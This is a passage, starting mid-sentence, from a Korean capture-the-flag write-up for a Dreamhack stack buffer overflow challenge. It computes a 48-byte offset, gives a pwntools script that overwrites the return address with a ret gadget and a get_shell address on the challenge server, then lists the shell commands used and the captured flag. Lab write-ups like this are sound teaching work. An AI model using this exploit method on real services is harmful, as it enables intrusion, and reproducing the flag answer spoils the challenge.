전까지 의미 없는 값으로 채워야 하는 정확한 오프셋(Offset) 거리는 다음과 같습니다. + +offset = buf(40) + SFP(8) = 48byte + +4. 익스플로잇 스크립트 작성 +from pwn import * + +p = remote("host3.dreamhack.games", 8527) + +get_shell_addr = 0x4006aa +ret_gadget = 0x40072a + +payload = b"A" * 48 +payload += p64(ret_gadget) +payload += p64(get_shell_addr) + +p.recvuntil(b"Input: ") +p.sendline(payload) + +print("[+] 공격 성공! 이제 아래에 ls를 입력해 보세요.") +p.interactive() + +5. 플래그 휙득 +python ex.py +ls +cat flag + +DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc} 휙득 \ No newline at end of file